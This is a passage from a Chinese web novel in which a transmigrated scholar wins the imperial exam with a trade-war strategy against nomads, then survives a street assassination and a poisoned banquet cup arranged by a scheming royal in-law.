用他自己的话说:“在下虽然不慕名利,但面见天子是另一回事,这是为我慕容家光宗耀祖的机会,不可儿戏。” 陈平川难得清静下来,开始整理思路,练习笔法,为最后的考试做准备。 偶尔在屋里打一套张金宝从未见过的拳法,招式舒缓却暗含力道,将自己的精神与身体都打磨到最巅峰的状态。 张金宝几次想找他说话,可见他那副专注如山的样子,都把到了嘴边的话又咽了回去,像个忠实的护卫,悄悄守在屋外,生怕一丝声响打扰了自家大哥。 终于到了殿试之日。 天色未亮,晨雾如纱。 所有贡士在礼部官员的引领下,身着统一的青色襕衫,静默地汇聚于午门之外,等待入宫。 巍峨的朱红宫墙,在薄雾中延伸至视野尽头,金色的琉璃瓦在晨曦中反射出冰冷的光芒。 许多初次进宫的贡士,早已被这股庄严肃穆的气氛摄住了心神,个个神情庄重,手心虚汗不止。 PC站点如章节文字不全请用手机访问 第114章 一策安天下,不战屈蛮夷 燕世藩站在人群里,昂首挺胸,眼神睥睨,仿佛已经将身边这些土包子踩在了脚下。 他刻意调整着步伐,模仿着父亲教给他的官员仪态,每一步都力求稳重端方,却因用力过猛,反倒像个提线木偶,僵硬而滑稽。 慕容修收起了所有洒脱,神情肃穆,眼中只剩下对皇权的敬畏。 他紧抿着嘴唇,沉默地感受着这座权力中枢带来的巨大压力,连呼吸都变得小心翼翼。 陈平川走在人群中,不动声色地观察着一切。 他看到的不仅是宫殿的宏伟壮丽,更是这宏伟背后,那森严的等级,与束缚着人性的无形枷锁。 贡士们鱼贯进入太和殿,殿内空旷寂静,唯有脚步声在金砖地面上发出沉闷的回响。 众人按照会试名次,分列左右站定。 陈平川悄悄抬眼,第一次看到了龙椅上那位大业朝的天子——景帝。 这位皇帝比想象中更年轻,也更孱弱。 面色带着一种久病不愈的苍白,仿佛上好的羊脂玉,却失了温润的光泽。 身形清瘦,一袭九龙盘踞的明黄龙袍穿在他身上,竟显得有些空荡,像是被龙袍吞噬了。 但他那双疲惫的眼睛里,却燃烧着一簇不甘的、渴望证明自己的火焰,像风中残烛,微弱却倔强。 偶尔一声极力压抑的咳嗽,暴露了他虚弱的身体,那声音在空旷寂静的大殿里显得格外清晰。 景帝身旁,站着一个面白无须的老太监,名为魏忠。 他眼神时刻关注着景帝的细微举动,手中捧着一个雕花暖炉,动作间满是关切。 景帝是他看着长大的,如同他的孩子一样。 景帝清了清嗓子,亲自开口,声音有些虚弱,但不失天子独有的威严。 “今日策论:北方蛮族寇边,连年骚扰,致使边民流离失所,国库空虚,战事吃紧。朕宵衣旰食,寝食难安。众卿家……有何良策,可安边境,扬我大业国威?” 这题目,是令景帝日夜焦心的头等国事。 前几日的战报,云州失陷,朔方告急,三镇总兵,一死两降! 而送往前线的粮草军械,都成了蛮族的战利品,边民或死于铁蹄之下,或流离失所,千里无鸡鸣,饿殍遍野,惨不可言。 面对如此危机情况,朝中还在争吵不休。 一方是以景帝为首的主战派,一方则是以皇后梁氏与国舅梁越为首的主和派。 但景帝势弱,加上身体生病,一直被皇后一方压制,导致战事不利。 所以,景帝心急如焚,急需招募人才,为他,为大业朝找出一条生路来! 下方的人群中,燕世藩心中窃喜! 这策论题目与他父亲私下预测的方向,几乎一般无二! 他立刻提笔,饱蘸浓墨,在面前的雪白宣纸上洋洋洒洒,笔走龙蛇,脸上甚至带着一丝抑制不住的得意。他的策论,核心思想便是“以和为贵”,主张增加岁币,派遣公主和亲,用怀柔之策安抚蛮族,言辞华美,引经据典,极尽粉饰太平之能事。 其实,这正是当朝皇后一党力主多年的国策。 PC站点如章节文字不全请用手机访问 慕容修眉头紧锁。 他对边疆之事了解不多,只能从历朝历代的儒家经典中寻求答案。 他的策论从“修文德以来之”出发,主张加强边防,选贤任能,严明军纪,对内则轻徭薄赋,与民生息,固守待变。 这是一篇四平八稳的万全之策,无懈可击,却也毫无新意,如同一杯温水,解渴却无味。 而身为现代人的陈平川,却能从这道题目背后,看到了更深层的东西。 蛮夷为何年年寇边?仅仅是天性好战,生性残暴吗? 不。 熟读历史的他知道,游牧民族逐水草而居,生产方式单一,一旦遭遇天灾,牛羊冻毙,草场枯黄,便只能以战养战,南下劫掠。 而大业朝的富庶,更是他们眼中一块流油的肥肉。 症结不在武力,而在生计。 他提笔,笔尖在砚台里轻轻一蘸,笔触生锋。 策论的开篇,他没有谈军事,也没有谈和亲,而是从两个字入手——经济! “以商制夷!” 他详细阐述,蛮族虽勇武,但生产力极其低下,生活必需的铁器、食盐、茶叶和布匹,几乎完全依赖与大业朝的贸易。 他建议,由朝廷在边境重设“榷场”,并成立专司,彻底垄断这些战略物资的贸易权。 对蛮族抬高价格,吸其骨髓。 同时向其部落权贵倾销丝绸、瓷器、美酒等奢侈品,以此掏空其部落财富,使其民生困苦,内部矛盾激化,无力南侵。 当然,这还不够。 他进一步提出,扶持蛮族中那些亲近大业、愿意归化的部落,给予他们贸易上的巨大优惠,让他们富裕起来。 再通过他们,将大业朝的商品渗透到敌对部落中去,以此挑动蛮族各部落之间的矛盾与仇恨,使其自相残杀,无法团结一致。这便是“以夷制夷”。 最后,再配合派遣商队、艺人,将大业朝的文化、故事、生活方式带入草原,用《西游记》这样引人入胜的故事,潜移默化地消磨其尚武之风,使其心向王化。 …… 龙椅上的景帝咳嗽不停,那老太监魏忠几次低声劝他回宫歇息,都被他挥手拒绝。 张廷玉的推荐言犹在耳,名叫陈平川的考生,写出那篇“以工代赈”的策论,至今仍让他时时回味,拍案叫绝。 他迫切地想知道,这个来自庐州的少年,这一次,又会给他带来怎样的惊喜。 日影西斜,殿试即将结束。 当陈平川写下最后一句“不战而屈人之兵,善之善者也”,他缓缓放下了手中的龙须笔。 这篇融合了后世经济战、信息战思想的策论,绝对是一方济世良药。 只要龙椅上那位大业皇帝还有一颗重振朝纲的雄心,就必定会将此文奉为圭臬,将他陈平川的名字,擢于万人之上! …… PC站点如章节文字不全请用手机访问 交卷的时刻一到,所有贡士的策论被一一收齐,呈送到景帝御案之上。 景帝在里面翻找,很快他看到了自己想看的名字。 陈平川。 他迫不及待地将那份卷子抽了出来。 只看了开篇几行,景帝那病恹恹的脸上就泛起了一层不正常的潮红,呼吸都随之急促起来,压抑的咳嗽声被他生生咽了回去。 PC站点如章节文字不全请用手机访问 第115章 圣心独具点状元,暗流汹涌动京华 “以商制夷……” 他越看越是激动,那双布满血丝的眼眸里,仿佛有火焰被点燃。 当“抬高其价,吸其骨髓”、“倾销奢靡,乱其民心”、“以夷制夷,使其自耗”等字眼刺入眼帘时,他感觉眼前不再是文字,而是一扇通往盛世的大门,正被一股巨力轰然推开! “啪!”一声,在安静的大殿中响起。 景帝竟不顾天子仪态,猛地一拍龙椅扶手,摇摇晃晃地站了起来! 金殿之上,所有人都被这突如其来的状况惊得大气不敢出,诧异地看向他们的皇帝。 景帝手持那份薄薄的答卷,激动地在御阶上来回踱步,口中喃喃自语,声音里是压抑不住的狂喜。 “妙!妙啊!这才是治本之策!这才是真正的安邦之法!” 他的眼中爆发出前所未有的神采,望向台下百官,高声赞道:“此子,堪为朕之子言!” 此言一出,满殿皆惊! 子言,那是开国帝师张辰的字! 这是何等高的评价!一个皇帝对臣子的最高赞誉! 更令人瞠目结舌的还在后面。 景帝竟打破了千百年来的殿试常规,他锐利的目光扫过阶下,对身旁的魏忠下令:“传!立刻传陈平川上殿!朕要亲自问话!” 这在历朝历代的殿试中,闻所未闻! 这陈平川到底是何来头?竟让景帝打破祖规? 不多时,陈平川被传至御前,在百官好奇的注视下,他不卑不亢,当众行礼。 那份从容,与其他战战兢兢的贡士形成了鲜明对比。 “陈平川,你策论中所言‘榷场’专司,具体如何施行?”景帝的声音恢复了往日的威严,但语气中依旧带着些许激动。 陈平川抬起头,眼神清澈,思维如电,将心中所想娓娓道来:“回禀陛下,可于边境设三处榷场,由户部直辖,以雷霆之势,彻底垄断铁器、食盐、茶叶三项。对蛮族各部明码标价,但价格分三等。亲善我朝者,可享平价,以示怀柔;中立者,价格加三成,使其权衡;敌视我朝者,价格加十成,以弱其力!” “再设一官方商队,名曰‘大业行’,专司向其部落权贵贩售丝绸、瓷器、美酒等奢靡之物。使其上层耽于享乐,下层民不聊生,则其内乱必生,无力南顾。” 景帝听得连连点头,他紧紧攥着拳,看着眼前这个不过十几岁的少年,那颗早已被皇后压迫得快要熄灭的雄心壮志,在这一刻,被彻底点燃。 这是上天赐给他的希望!是赐给大业朝的转机! 景帝又询问了几个问题,陈平川都对答如流,令景帝龙颜大悦。 陈平川退下后,景帝甚至不等阅卷官们评定品阶,便环视众人,用不容置疑的语气,直接宣布了最终的结果。 “陈平川的策论,鞭辟入里,深得朕心!朕意,当为今科状元!” 魏忠见状,脸色微变,急忙上前一步,压低声音劝道:“皇上,这……这不合规矩啊,殿试名次需由群臣合议,再呈您御览钦点……” “朕说的话,就是规矩!”有史以来第一次,景帝挥袖打断了他,语气是前所未有的强硬。 魏忠心中一凛,不敢再劝。 他躬身退下,眼角的余光瞥见龙椅上那个重新焕发神采的帝王,心里却是一片惶恐。 PC站点如章节文字不全请用手机访问 他知道,这京城的天,要变了。 待服侍景帝地回宫歇息后,魏忠立刻转身,脚步匆匆,直奔坤宁宫。 坤宁宫内,暖香浮动,凤榻之上,雍容华贵、不怒自威的梁皇后正由着宫女为她修剪指甲。 听完魏忠的密报,她只是轻蔑地撇了撇嘴角,对着刚染上凤仙花汁的指甲,轻轻吹了口气。 “蛮子就是喂不饱的狗,多给几根骨头就安分了。搞那些花里胡哨的,不过是小孩子过家家,由他闹去。” 她更关心的是另一件事,语气中透着不耐。 “本宫的万寿庆典,内务府准备得如何了?告诉他们,一切都要用最好的,绝不能出半点差错!” 然而,一旁侍立的国舅,当朝太尉梁越,却缓缓皱起了眉头。他比他这个只知享乐的妹妹,看得更远,也更深。 景帝看好陈平川,这本身就是一个极其危险的信号。 说明那个傀儡皇帝,不甘心了,他想培养自己的势力,想从他们梁家手中夺权! “此人,必须详查。”梁越目光阴冷,对旁边的心腹侍卫命令。 次日,一份关于陈平川的详细资料便摆在了他的案头。 心腹压低了声音向梁越禀报: “启禀国公,此人乃庐州解元,与庐州富商张盛财关系密切,而且背后……似乎有秦王府的影子。据说,秦王曾亲笔为他写信,秦王府的昭华郡主,还曾赠他信物。” “秦王!” 梁越眼中寒光一闪,手中的玉扳指被他捏得咯吱作响。 秦王是景帝唯一的亲弟弟,虽被调离权力中枢,但在军中和民间威望极高,一直是他心头最大的隐患。 这个陈平川,说不定,就是秦王安插进京城,递到皇帝手上的一把刀! 一把用来对付他们梁家的刀! 梁越眼中杀机毕现,他当机立断,对心腹招了招手。 心腹立刻附耳过来。 只听梁越用冰冷的声音下令。 “此子,绝不能留。” “他既想当状元,就让他风风光光地死在状元游街的路上!做得干净点,别被人抓住把柄!” …… 时间来到三日后,传胪大典。 晨曦微露,紫禁城的琉璃瓦上凝着一层薄薄的清霜。 太和殿前那片广阔的汉白玉广场上,金鼓齐鸣,声震九霄,三百面绣金龙凤的旌旗在猎猎风中翻卷,如同一片燃烧的云霞。 大学士张廷玉身着朝服,肃立于高高的丹陛之上。他双手捧着一卷金色皇榜,一身官威与正气,化作洪钟般的宣告。 “三甲进士,第二百一十名,慕容修!” PC站点如章节文字不全请用手机访问 人群之中,慕容修闻声,抚掌一笑。 他寻到不远处的陈平川,两人隔着攒动的人头,遥遥拱了拱手。 彼此间,满是真诚的祝贺。 张廷玉的声音还是继续。 “二甲进士,第一百二十名,燕世藩!” 燕世藩对这个成绩是不满意的,他的目标可是状元!哪怕是探花和榜眼也行,结果却一个都没拿到。 他的目光不知不觉,移到了陈平川的身上。 “算了,只要能比这个乡巴佬考得好也行吧!” 他心里暗自嘀咕着。 PC站点如章节文字不全请用手机访问 第116章 文曲星下凡你们也敢碰?找死! 不过,随着名字被一个个念出来,燕世藩的心里产生了一种不祥的预感。 这乡巴佬的名字怎么还不出现?难道…… 他猛然想到了什么,脸色顿时惨白一片。 终于,皇榜上只剩下最后一个人了。 整个广场的空气仿佛在这一刻凝固,所有人都屏住呼吸,等待着那最耀眼的名字。 张廷玉深吸一口气,将丹田之气贯于喉间,用尽全身的力气,喊出来: “一甲第一名,庐州府,陈平川!” “状元!陈平川!” “状元!陈平川!” 声音由丹陛之上的礼官层层向外传递,如同投入平静湖面的巨石,激起一圈又一圈声浪,滚滚荡开,响彻了整个京城。 广场外观礼的人群中,张金宝“哇”的一声,又蹦又跳,鼻涕眼泪糊了一脸,对周围的人群,激动地大声宣告:“我大哥是状元!我大哥是状元!” 虽然已经有了心里准备,但陈平川被宣布为状元的时刻,燕世藩还是觉着自己被狠狠地抽了一个耳光! 他一张原本骄横的脸庞由红转白,再由白转青,最后沉淀为一种铁锈般的死灰色。 他紧攥的双拳,眼里是郁闷与不解。 凭什么?那个乡巴佬,凭什么能将他死死压在脚下! 他不服! …… 翌日,是百姓最喜闻乐见的活动——状元游街。 长街两旁,早已是人山人海,水泄不通。 人们伸长脖子向长街尽头张望,想目睹新科状元的风采。 很快,一支队伍,敲锣打鼓,缓缓而来。 陈平川头戴金花乌纱帽,身穿大红织金状元袍,袍上精绣的麒麟踏云图样在阳光下流光溢彩。 他跨坐在一匹神骏非凡的纯白御赐宝马之上,在皇家仪仗队的簇拥下,出现在众人的眼前。 “哇,状元郎来了!” “状元郎看这边啊!” “状元郎生得可真俊啊!比画上的人儿还好看!” 欢呼声、喝彩声、女子的尖叫声此起彼伏,汇成一道狂热的声浪。 无数绣球、鲜花、香囊从街道两旁的酒楼茶肆窗口抛洒下来,如同一场五彩斑斓的香雨,将整条街道浸泡在狂热与芬芳之中。 这是天下所有读书人穷尽一生,梦寐以求的至高荣耀。 张金宝带着王镖头和一众从庐州带来的精干好手,前呼后拥,自发组成了一个“民间护卫队”,将陈平川的白马牢牢护在中央。 PC站点如章节文字不全请用手机访问 他满面红光,得意地牵着缰绳,下巴高高仰着,比自己中了状元还要光荣。 各大豪门贵族的管家们拼命往前挤,手中高举着烫金的名帖,有请赴宴的,有旁敲侧击暗示联姻的,雪片般的橄榄枝几乎要将他淹没。 陈平川只是保持着温和的微笑,从容颔首,由身边的礼官将名帖一一收下。 面对泼天的荣耀,他的目光平静如深潭,不起半点波澜。 队伍行至一条名为“柳絮巷”的狭窄街道时,几个步履踉跄的“醉汉”摇摇晃晃地冲入仪仗队中,嘴里胡言乱语,像是要凑近瞻仰状元风采,却又粗鲁地对着护卫推搡起来。 场面瞬间陷入一片混乱。 就在这片刻的混乱中,一名醉汉浑浊的眼神凶光一闪! 他猛地从宽大的袖袍中抽出一柄雪亮匕首,整个人的气势陡然一变,身形快如电光石火,直刺马背上陈平川的心口! 那根本不是醉汉,而是伪装的顶尖刺客! “公子小心!” 一直保持着高度警惕的王镖头目眦欲裂,第一时间横身挡在马前,用自己坚实的臂膀,硬生生扛下了这致命的一刀! “噗嗤!” 利刃入肉,鲜血瞬间染红了他的整条衣袖。 不等众人反应,四面八方,更多的“路人”掀开衣袍,拔出寒光闪闪的兵刃,如狼群一般,悄无声息地扑了上来! 这些刺客武功高强,配合默契,招招皆是致命杀手,护卫的官兵被打得措手不及,伤亡惨重。 王镖头带来的护卫虽个个悍不畏死,拼命抵抗,但在如此迅猛的攻势下,转眼间便纷纷受伤,渐渐不支。 张金宝不会武功,但也拼死挡在陈平川的马前,摆出一副“要动我大哥,先过我这关”的架势。 陡然间一柄长刀带着破风声,从一个刁钻的角度,直劈陈平川的后心! 这一刀,避无可避! 就在这生死一瞬之际,一个黑乎乎的酒葫芦,呼啸而来,“砰”的一声,精准无误地砸在持刀刺客的手腕上! “咔嚓!” 清脆的骨裂声响起,刺客的手腕应声而断,长刀脱手落地。 一道醉醺醺的人影从旁边的酒楼屋顶上打着旋翻了下来,双脚落地时却稳如泰山,他捡起酒壶,灌了一大口酒,口中大笑道:“好大的狗胆!这可是天上的文曲星下凡,尔等也敢动?” 正是了尘和尚! 与此同时,数道无形无影的锐气从另一侧茶馆的二楼激射而出,快得只在空气中留下一丝微不可察的涟漪,却精准地切断了另外几名扑向陈平川的刺客的脚筋! 他们惨叫着瘫倒在地,再也无法站起。 太平道长手持拂尘,身形如一片落叶,飘然落地,眼神冰冷如万年寒霜。 “官府的走狗,都该杀!” 了尘与太平二人,如两头猛虎冲入羊群。 一个酒葫芦使得虎虎生风,看似随意地挥砸,却总能后发先至,沾着即伤,碰着即倒。 PC站点如章节文字不全请用手机访问 一个拂尘看似轻柔,甩出时尘丝却根根绷直,化作万千无形罡气,锐不可当。 刺客们哪里是这两位当世高人的对手,顷刻间非死即伤,哀嚎遍地。 刺客首领心中大骇。他盯着这突然出现的二人,声音震惊:“‘醉罗汉’了尘和尚?‘无影剑’太平道人?你们……你们怎么会在这里!” 了尘又灌了一口酒,毫不在意地用脏兮兮的僧袍擦了擦嘴。 “我说‘鬼手’屠三,你什么时候也脱了那身江湖皮,改行给朝廷当了走狗?” 太平道长拂尘一指,语气森然如冰:“屠三,你作恶多端,今日便是你的死期!” 屠三脸色剧变,他知道今日刺杀已然彻底失败,再不走,连自己都得交代在这里! 他毫不犹豫,发出一声尖厉刺耳的呼哨,虚晃一招,转身施展轻功遁走。 “这厮逃得倒是快!” 太平道人望着远去的背影,冷哼一声。 见首领逃走,受伤的几名黑衣刺客齐齐对视一眼,眼中闪过一丝决绝,猛地吞下毒丸,口中立时涌出黑血,瞬间毙命。 只有一个刺客因为被了尘和尚盯上,动作稍慢了半分,被后者勾起一颗石子,击中手腕,毒丸掉落在地。 那刺客还未来得及做出任何反应,便被蜂拥而至的官兵死死按在了地上。 PC站点如章节文字不全请用手机访问 第117章 这个仇,将来我要连本带利地还回去! 新科状元当街遇刺,差点命丧黄泉! 这则消息,瞬间在京城的街头巷尾传开。 这不一个简单的案子,这是对皇权赤裸裸的蔑视! 养心殿内,气氛沉闷,压抑得连烛火都静止不动。 “砰!” 一声脆响,打破寂静。 一方景帝平日里最心爱的蟠龙端砚,被狠狠掼在光洁如镜的地面之上,应声碎裂成数块,浓黑的墨汁如同一滩肮脏的血,四下飞溅。 “混账!一群混账东西!” 景帝气得浑身发抖,那张因常年病痛而显得过分苍白的脸,此刻涨得通红,青筋在太阳穴上突突直跳。 这是他登基以来,最为愤怒的一次! 那是他亲手点中的状元,是他于绝望中窥见的一线曙光,是他寄予厚望、欲用来撬动这沉疴国运的栋梁之才! 转眼之间,竟险些成了刀下亡魂! “传朕旨意!”景帝的声音十分愤怒,“命大理寺、刑部、都察院,三司会审!三日之内,必须给朕查出幕后黑手!” 其实,他心里比谁都清楚,除了那个权倾朝野、一手遮天的梁越,谁还有这么大的胆子,谁又有这么大的能量!? 可他没有证据。 没有证据,他纵然是九五之尊,也动不了那个名为国舅,实则快要爬到他头上作威作福的“帝爷”! 是的,民间对梁越的评价就是“帝爷”,皇帝的爷爷! 景帝早就听说了,可他只能装聋作哑,当做什么都不知道。 没办法,梁越背后是皇后,是决定他是否能继续做皇帝的女人。 他,惹不起。 “噗——” 一股郁结之气猛地冲上喉头,景帝再也抑制不住,身子猛地向前一躬,一口鲜血喷洒在明黄的龙袍之上,触目惊心。 “皇上!”魏忠大惊失色,三步并作两步冲上前去,一把搀住摇摇欲坠的景帝,老眼瞬间蓄满了泪水,“皇上,您要保重龙体啊!为这等小事生气,伤了自个儿的身子,不值当啊!” 魏忠看着这个自己从小伺候到大的皇帝,心中疼惜万分。 他知道,这口血,是为那个叫陈平川的状元吐的,更是为他自己这憋屈的天子之位吐的。 与此同时,状元府邸。 王镖头的伤口已经用上好的金疮药包扎妥当,只是失血过多的脸色依旧苍白如纸。 张金宝在一旁气得来回踱步,嘴里翻来覆去地问候那群刺客和他们祖宗十八代。 与他的焦躁和愤怒截然相反,陈平川静静地坐在窗前,内心平静。 事情比他预想的还要严重! PC站点如章节文字不全请用手机访问 光天化日,天子脚下,新科状元都敢当街刺杀。 这说明那位高坐龙椅之上的皇帝,并不可靠。 从上到下、腐朽入骨的朝廷,更不可靠。 想要在这吃人的世道里活下去,想要实现胸中那“为生民立命”的抱负,终究,只能靠自己。 夜色渐深,月光如霜。 两道身影悄无声息地出现在院中,未曾惊动一人。 正是了尘和尚与太平道人,两人推门而入,陈平川立即起身对着二人拱了拱手,“今日多谢二位前辈相救,只是不知你们怎么会来这里?” 白天击退了刺客后,两人不想与官府打交道,便悄然离开。 陈平川料到,他们一定会回来找自己,果然。 “说来也巧。”了尘和尚拧开腰间的葫芦,仰头灌了一大口酒,打了个响亮的酒嗝,“我这边刚办完事,就碰上这牛鼻子追杀一个作恶多端的匪首,便相约在酒楼里歇脚,正好就看到你小子骑着高头大马,威风凛凛地游街,便顺手帮你一把。” 太平道长脸色冷峻如冰,手中拂尘一甩:“看到了吗?这就是庙堂,人心叵测!你那套救世宏论,在这里,连你自己的性命都保不住。” 他向前踏出一步,目光灼灼地盯着陈平川。 “要么,现在就跟我们走,江湖之大,自有你施展拳脚之地,推翻这个从根上就烂透了的朝廷,才是唯一的出路!要么,就赶紧收拾包袱,返回你的庐州府,当个富家翁,还能多活几年!” 陈平川没有立刻回答这道关乎命运的选择题,反而平静地反问:“二位前辈,今日那刺客的头领,你们认识吧?” “你问这个做什么?”了尘和尚有些意外,这小子的关注点总是异于常人。 “我只是想知道,是谁想杀我。”陈平川的语气很淡,但眼底深处,却掠过一丝冰冷的寒意,“这个仇,我得记下。将来,总要连本带利地还回去!” 了尘与太平对视一眼,都从对方眼中看到了一丝诧异。 这少年没有被吓破胆,也没有被愤怒冲昏头,反而像个冷静的猎人,在记下仇家的气味。 “那人叫屠三,江湖人称‘鬼手’,是个只认钱的亡命徒。”太平道人缓缓开口,“我们会帮你查查,他背后到底是谁。你自己多加小心,一次不成,他们很可能还会有第二次。” “应该不会了。”陈平川摇了摇头,目光扫向窗外漆黑的夜色,“至少,短期内不会再动手了。” 了尘与太平顺着他的目光看去,察觉到府邸周围的暗处,多了数道若有若无的强大气息。 那些气息沉稳而内敛,是浸淫多年的大内高手。 二人心中了然,看来那位皇帝虽然无能,但还没蠢到家,知道要保住这个难得的人才。 他们不再多言,叮嘱几句后,身形一晃,便如悄然融入夜色,消失不见。 次日,皇宫大内,恩荣宴。 新科进士们齐聚一堂,身着崭新的官服,接受天子的会见与垂询。 丝竹之声悠扬,宫娥穿梭如蝶,但在这片富丽堂皇之下,涌动着看不见的暗流。 陈平川的位置,被特意安排在了景帝的左下首,是所有进士中离龙椅最近的,这份荣宠,引来无数艳羡与嫉妒的目光。 “陈爱卿,”景帝的声音带着病态的虚弱,但精神却显得异常亢奋,“你那‘以商制夷’之策,朕反复研读了数遍,仍觉精妙绝伦。只是这‘榷场’官商,利益熏心,如何才能确保其不与蛮族勾结,中饱私囊?” PC站点如章节文字不全请用手机访问 第118章 恩荣宴惊魂,陈平川险丧命! 陈平川起身,对答如流:“回禀陛下,可设监察御史,独立于户部之外,直接对陛下负责,一年一轮换,严防其结党营私。再辅以高薪养廉,凡有功者,不吝赏赐;有罪者,严惩不贷。赏罚分明,则人心自正。” 他能真切地感受到景帝那份急于求成的心情,或许,这位看似软弱的君王,真的能成为自己改变这个时代的助力。 就在这君臣相谈甚欢,气氛融洽之时,一个阴阳怪气的声音突兀地插了进来。 “状元郎年少有为,当真是后生可畏,乃我大业之栋梁啊。” 国舅梁越端着一只赤金酒杯,满面春风地走了过来。 他皮笑肉不笑地上下打量着陈平川,举杯道:“本国舅敬你一杯,望你日后为国尽忠,可莫要辜负了圣上这份天大的知遇之恩呐。” 梁越一过来,景帝的笑容登时消失不见,不悦之色布满脸庞,但也没多说什么。 “国公爷谬赞,下官愧不敢当。”陈平川举杯起身,从容应对。 他虽然不知道梁越与景帝之间的嫌隙,但却能感受到景帝与梁越之间紧张的气氛。 “好说,好说。”梁越肥硕的手掌重重地拍了拍他的肩膀,笑呵呵道:“改日有空,来本国公府上坐坐,咱们也好好的亲近亲近。” “下官定当登门拜访。”陈平川滴水不漏地应下,脸上挂着恭敬的微笑。 梁越满意地笑了笑,这才转身离去。 他刚一走,大学士张廷玉便端着酒杯,不着痕迹地挪到了陈平川身边。 “状元郎,”他压低了声音,神情无比凝重,“梁国舅此人,心胸狭窄,睚眦必报。昨日之事,十有八九便是他所为,你要千万小心提防。” 随后,张廷玉飞快地将如今朝堂之上,皇后梁家一手遮天,与景帝以及宗室秦王一脉势同水火的局面简要说了一遍。 他的声音很低,除了他与陈平川两人之外,别人都听不到。 陈平川心中一凛,昨日街头那场刺杀的幕后黑手,已然昭然若揭。 不过他也奇怪,这张廷玉与自己并不熟,为什么要和自己说这些肺腑之言?就不怕自己背后找梁国舅告状? 张廷玉似乎看出陈平川的疑惑,他微微一笑,低声提到:“秦王和陛下,乃是老夫的学生……” 这下子,陈平川明白了。 “谢过张大人提点,下官铭记于心。” “陛下要举杯了。”张廷玉低声提醒了一句,便不动声色地回到了自己的位置。 陈平川回到自己的桌案前,端起面前那只精美的青瓷酒壶,正准备为自己斟酒。 他的手,却在半空中顿住了。 酒壶的位置,被人挪动过。 他不动声色地提起酒壶,为自己斟满一杯。 酒液清澈,散发着醇厚的香气,与旁人杯中之酒并无二致。 但想起之前张廷玉的提醒,陈平川多了一个心眼。 他从衣角里,摸出了一块指甲大小的碎银,悄无声息地将其放入酒杯。 这个习惯是罗氏帮他养成的,有钱在身,以备不测。 PC站点如章节文字不全请用手机访问 片刻后,那块原本亮闪闪的碎银,已然变得漆黑如墨! 酒里,有剧毒! 陈平川眼睛眯起,但面色没有丝毫变化,甚至连眼皮都未曾跳动一下。 他从容地将酒杯举至唇边,仰头做出饮酒的姿态,手腕却在袍袖的遮掩下巧妙地一翻。 一杯致命的毒酒,无声无息,尽数被他倒入了宽大的衣袖之中。 虽然逃过一劫,但陈平川心中却无半分庆幸。 危险,并未远去,反而如影随形! 陈平川的目光扫过梁越那张肥硕的脸,心中已是雪亮。 敢在这君王御赐的恩荣宴上,当着文武百官的面下毒,这份嚣张与狠辣,除了那位嚣张跋扈的国舅爷,他想不出第二个人。 他感觉自己走在一根细如头发的钢丝之上,而脚下则是万丈深渊! 酒菜微凉,丝竹声歇,宣告着恩荣宴进入尾声。 陈平川端着酒杯向张廷玉最后敬酒,张廷玉喝下酒,将声音压低:“明日,大理寺、刑部、都察院将三司会审那名活口刺客。” 老大学士的目光不着痕跡地扫过不远处,正与几名官员谈笑风生的国舅梁越,声音凝重:“若是能撬开他的嘴,拿到铁证,这便是扳倒梁越的绝佳机会。” 陈平川却在心里摇了摇头。 拿到铁证?谈何容易。 那名刺客连死都不怕,肯定不会吐露出任何有价值的东西,否则梁越也不会有恃无恐,当街行凶! 正思忖间,一道身影带着浓重的酒气,故意重重地撞在他的肩膀上。 力道之大,若非他下盘沉稳,险些就是一个趔趄。 是燕世藩。 他阴阳怪气地开口:“抱歉抱歉,陈状元,燕某喝多了……对了,听说你在游街的时候遇刺,哎呀,你可要多加小心,别成了大业朝最短命的状元郎,嘿嘿嘿!” 他早已听说陈平川游街遇刺之事,便特意跑来,嘴里说着最恶毒的诅咒,恶心陈平川。 陈平川毫不动怒,脸上反而浮现出淡然的微笑。 “多谢燕公子关心,”他语气平和,却笑里藏刀,“不过我这人命硬得很,或许是天生八字就专克那些躲在阴暗角落里,只会说些风言风语的鼠辈小人。” “你!”燕世藩的脸瞬间涨红,他气得浑身发抖,却又发作不得,只能恨恨地一甩袖子,狼狈地转身离去。 慕容修踱步上前,脸上蒙了一层浓浓的忧虑。 他深深地看了陈平川一眼,郑重地拱了拱手,千言万语都融在一句关心的话语里:“平川兄,万事小心啊。” …… 夜色如墨,将整个京城都浸泡其中。 状元府邸的红灯笼在夜风中轻轻摇曳,投下斑驳的光影,静谧无声。 陈平川推开房门,两道身影早已在屋中等候多时。 PC站点如章节文字不全请用手机访问 “查清楚了。” 了尘和尚拧开腰间的酒葫芦,却没有像往常一样痛饮,只是将其重重放在桌上,发出一声“咚”的闷响。 “屠三那厮,是国舅爷梁越豢养的走狗。这厮心狠手辣,视人命如草芥,你日后要千万小心。” 陈平川脸上露出一丝苦涩的笑意,他早已料到这个答案。 “我早就猜到了。” 他抬起眼帘,平静开口:“实不相瞒,今晚在恩荣宴上,有人在我的酒里下了剧毒。不出意外,也是那梁越的手笔。” “什么?!” 太平道人猛地拍案而起,身上那件清冷的道袍无风自动,一股凌厉的杀气瞬间充斥了整个房间! “早就听闻此人祸乱朝政,作恶多端,如今竟敢在君王御前行凶?简直嚣张至极,无法无天!贫道这便去摘了他的项上人头,为民除害!” PC站点如章节文字不全请用手机访问 第119章 这吃人的庙堂,才是属于你的战场 “道长息怒!”陈平川急忙起身,伸手拦住了怒发冲冠的太平道人。 “此时杀了梁越,非但无益,反而会引来麻烦!” 太平道人一挑眉:“此话怎讲?”陈平川冷静分析:“梁越一死,梁皇后一党必将借题发挥,以‘清君侧’之名发难。届时,京城大乱,景帝岌岌可危,我们所有人都将成为梁家疯狂复仇的目标,难逃一劫。” 他看着怒气未消的太平道人,继续陈述着利害:“况且,杀了一个梁越,还会有更多梁越冒出来。大业朝的病根,不在于某一个权臣,而在于这整个从上到下、已经烂到了骨子里的制度!” 太平道人的动作一滞,眼中那几乎要喷薄而出的杀气缓缓收敛,但紧锁的眉头却化为了更深的忧虑与无奈。 陈平川转过身,望向窗外沉沉的夜色,那里是权力的中心,也是罪恶的渊薮。 他的语气平静得可怕,眼中燃烧着一簇幽冷而执着的火焰。 “他想让我死,我偏要好好活着。” “我要将他和他背后盘根错节的一切,全部碾碎,连根拔起!” “我要让他亲眼看着,自己拥有的权势和地位,粉碎崩塌,我觉得,这要比杀了他还要痛苦!” 这番超越了愤怒的冷静与狠厉,让了尘与太平这两位见惯了风浪生死的江湖高人,都为之一震。 他们发现眼前的少年,不像一个初出茅庐的书生,而像一个蛰伏在暗处,耐心等待机会的刺客! 